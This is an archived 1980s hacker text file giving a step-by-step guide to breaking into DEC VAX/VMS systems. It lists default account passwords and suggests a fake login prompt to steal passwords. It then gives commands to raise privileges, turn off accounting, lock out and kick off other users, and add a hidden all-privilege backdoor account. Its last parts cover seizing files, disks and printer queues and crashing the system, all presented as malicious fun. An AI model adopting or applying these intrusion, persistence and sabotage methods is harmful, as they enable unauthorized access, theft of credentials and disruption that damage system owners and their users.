home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / MISC / VAX11780.ZIP / VAX11780.TXT
Encoding:
Text File  |  1990-08-31  |  8.3 KB  |  200 lines

  1.      Hacking the DEC VAX-11/780 For Phun and Profit
  2.  
  3.   By.....
  4.      The
  5.        Nuclear
  6.          Wastoid
  7.  
  8.   So, you say you want to learn how to hack the VAX-11/780.  This
  9. phile contains all you need to know to wreak massive havok and have
  10. major fun.  This phile is devided into five sections, which are:
  11.   1. Getting On   2. Staying On   3. Basics
  12.   4. Having Fun   5. Shutting Down and Getting Off.
  13.   Each is pretty much self- explanatory, so here goes:
  14.  
  15. PART I. Getting On.
  16.   There are 2 techniques to getting on the system:  Hit and Miss, or
  17. random passwords, and Cheating.  We will, of course, deal with
  18. cheating.  To cheat yourself onto the system, you can either:  1.  use
  19. someone else's password, of 2.  use a default password.
  20.   1.  Using Someone Else's Password Using someone else's password can
  21. be both good and bad.  It's good because you don't have to create a
  22. new account or use a restricted one, so the sysop won't see anything
  23. out of the ordinary.  It's bad because the person may notice that
  24. someone else has been on the system with his pass when he wasn't on
  25. the system.  It's also not very good because the person may not have
  26. high enough privelege for your needs.  To get someone's password is
  27. simple if you can get onto the system, even with limited access.  Just
  28. log onto the sysop's (or someone else with high enough privelege) and
  29. write a program that just sits there and looks like the logon prompt.
  30. Have the program output the names+ passes it gets to a remote printer
  31. or a file that you can get to later, and then kill itself.
  32.   2.  Defaults.  There are four default accounts placed on the VAX
  33. when it is first set up.  These can be changed or deleted, but usually
  34. one or two survive.  The defaults are:
  35.       Name          Password
  36.       ---------------------------------------------------
  37.       SYSTEM        MANAGER or OPERATOR
  38.       FIELD         SERVICE or TEST
  39.       DEFAULT       USER or DEFAULT
  40.       SYSTEST       UETP or SYSTEST
  41.   I have found that FIELD SERVICE works most often.
  42.   Once you're on the system, you want to make yourself able to do the
  43. most damage.  to do his, type:     $ SET PROC/PRIV=ALL -'$' is the system
  44. prompt If the system responds with some bullshit about your privelege
  45. not being high enough, GET ANOTHER PASSWORD.  You need full access to
  46. have enough phun.
  47. PART II. Staying On.
  48.   Okay, you're on the system.  Now what?  Mass destruction, of course.
  49. But first, make sure you'll be able to get back on.  The first thing
  50. you want to do is:
  51. .$ SET ACCOUNTING/DISABLE
  52.   This stops the system from keeping track of you.  Now type:
  53. $ SHOW USERS
  54.   to see who is on the system.     If you see your account listed twice,
  55. log off.  You don't want to be caught because of something stupid like
  56. that.  If you want to make sure that nobody can interfere with your
  57. phun, you should type:
  58. $ SET LOGINS/INTERACTIVE=0
  59.   This keeps anybody else to log onto the computer.  Now to kick
  60. everybody else off:
  61. $ SHOW USERS - the system responds with something like:
  62.  
  63.           VAX/VMS INTERACTIVE USERS
  64.            23-JUL-1986 09:37:15.54
  65.         Total number of interactive users= 6
  66. Username      Process Name    PID  Terminal
  67. BRUNO           BRUNO         0000026B  TTD3:
  68. FIELD           FIELD         00000FF2  TTC2:
  69. JOHNSON       _TTD5:          0000026D  TTD5:
  70. LINCOLN       LINCOLN        0000026A   TTD2:
  71. CYBERPUNK     CYBERPUNK      000001D8   TTD4:
  72. HARDCORE      HARDCORE       00000263   TTC0:
  73.  
  74.   Now, if you logged on as FIELD, you want to go through and type:
  75. $ STOP/ID=PID  - substituting the number in the PID column for PID
  76.   for each person other than you.  This kicks everybody else off the
  77. system.  It's best if you only do this at night or when usage is low,
  78. because if the sysop gets lots of complaints he might catch you.
  79.   The next thing you want to do is make sure that you will be able to
  80. get back onto the system next time.  To do this, type:
  81. $ SET DEF SYS$SYSROOT:[SYSEXE]
  82.   This takes you to the SYSEXE directory of the SYS$SYSROOT drive.
  83. Now type:
  84. $ RUN AUTHORIZE  - the system will respond:
  85. UAF>  - now type:
  86. UAF> ADD WASTOID /PASSWORD=ZEDNET /UIC=[099,900] /CPUTIME=0- <cr>
  87.  /DEVICE=SYS$SYSROOT /DIRECTORY=[SYSEXE] /PRIVS=ALL /NOACCOUNTING <cr>
  88. UAF> EXIT <cr>
  89.   Now- what does this mean?
  90.  
  91. ADD WASTOID - adds new record with name=WASTOID
  92. /PASSWORD=ZEDNET - sets password for new acount
  93. /UIC=[099,900] - sets user identification code for new account
  94. /CPUTIME=0 - tells system you can use it anytime
  95. the '-' after /CPUTIME=0 tells the computer that you're starting a new line.
  96. /DEVICE=SYS$SYSROOT - sets your home drive
  97. /DIRECTORY=[SYSEXE] - sets your home directory
  98. /PRIVS=ALL - give yourself full access
  99. /NOACCOUNTING - so the system can't keep track of you
  100.   Okay. Now you'll be able to get back on. On to ...
  101.  
  102. PART III. System Basics
  103.   Here are some commands you need to know if you haven't ever used a
  104. Vax:
  105.  
  106. .  HELP - this brings up a list of all commands, and will explain any
  107. of them for you.
  108.   SET DEF drive:[directory.sub1.sub2] - sets default drive and
  109. directory.
  110.   TYPE or T - types a file to the screen.  In the format :  T
  111. FILENAME.EXT
  112.   PRINT or PR - prints a file to the printer.  In the format :   PR
  113. FILENAME.EXT
  114.   DIR or D - directory
  115.   D- shows name,size,protection
  116.   DIR/PRINT or D/PRINT outputs the directory to printer+ screen.
  117.   RUN or R - executes .EXE files R FILENAME.EXE
  118.   @ - executes .COM files @FILENAME.COM
  119.  
  120.   Okay, now you're ready for:
  121.  
  122. PART IV: Having Fun.
  123.  
  124.   A. Files
  125.     It has got to be the greatest feeling in the world to lock somebody out of
  126.   his own files. This is hilarious to do, especially if you can watch the
  127.   person when he finds out. To do this, you use the SET PROTECTION command.
  128.   Let's say that you want to lock everybody but yourself out of a file called
  129.   TEST.FIL. You would type:
  130. $ SET PROT=(S:RWED,O,G,W) TEST.DAT
  131.   This gives you (the system) full rights, while everybody else (owner, group,
  132.   and world) has no access rights.
  133.  
  134.   B. Disks
  135.   The next most fun thing to do is to lock everybody off of whole
  136. disks at a time.  To do this to drive DMA1:, you type:
  137. $ DISMOUNT DMA1:  - take DMA1: out of service
  138. $ DEALLOCATE DMA1: - take DMA1: off line
  139. $ SET PROT=(S,O:R,G,W)/DEVICE/OWNER_UIC[099,900] DMA1:
  140.    - this tells the system that DMA1: is a private drive of yours.
  141. $ ALLOCATE DMA1: - bring DMA1: back on line
  142. $ MOUNT DMA1: - put DMA1: back in service.
  143.   SHAZAM!! your own personal drive that nobody else can use.
  144.  
  145.   C. Printers
  146.   Say you want to print a file called HACKING.DAT.  You type :
  147. $ PR HACKING.DAT
  148.   and the system responds that your file is 'pending' on LPA0:.  this
  149. means that some asshole just put a 1000 page file into the print
  150. queue, so your little file won't print until next tuesday.  What you
  151. do is:
  152. $ STOP/ABORT LPA0:
  153.   This makes the printer stop its current job and kick it off the
  154. queue.    Now:
  155. $ DELETE/QUEUE LPA0:
  156.   This kills everything that was on the queue.    Wow!  A whole printer
  157. to yourself!
  158.  
  159.   Anyway, now I'll leave you alone.  I'm sure you can find more ways
  160. of having fun on your own, so I'll leave them to you.  Oh, by the way-
  161. .don't skip ....
  162.  
  163. PART V: Shutting Down and Getting Off
  164.   Now say that the system is going to explode in 30 seconds if it's
  165. not shut down. Well, being the good samaritan that you are, you'll
  166. just have to shut it down for them.  There are two quick- and- dirty
  167. ways that DEC provided for just such an occasion.  #1 works, but #2 is
  168. faster and looks nicer.
  169.  
  170.   1. OPCCRASH.
  171.   To shut down the system with the OPCCRASH command, simply
  172. $ RUN SYS$SYSTEM:OPCCRASH  - the system will respond:
  173.   SYSTEM SHUTDOWN COMPLETE- USE CONSOLE TO HALT SYSTEM
  174.     now type:
  175.  ^P  - the system will respond:
  176. >>>  - type:
  177. >>> HALT  - the system will respond:
  178.   HALTED AT 8000708A - or whatever
  179.  
  180.   2. CRASH system command
  181.     To shut down the systrem with the CRASH command, simply type:
  182. ^P
  183. >>> HALT
  184. >>> @CRASH  - this executes the system command CRASH and displays a big error
  185.   listing. Neat, eh?
  186.  
  187.   Now you can do everything, except log off, so here goes:
  188.  
  189. $ LO
  190.  WASTOID  logged out at 23-JUL-1986 10:27:13.20
  191.  
  192.  
  193. $
  194.  
  195.   Distributed in part by:
  196.  
  197.    Skeleton Crue  415-376-8060  located out of Moraga, California.
  198.      !!Get on the band wagon before it RUNS YOU DOWN!!
  199. The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
  200.                   (CH&AOS)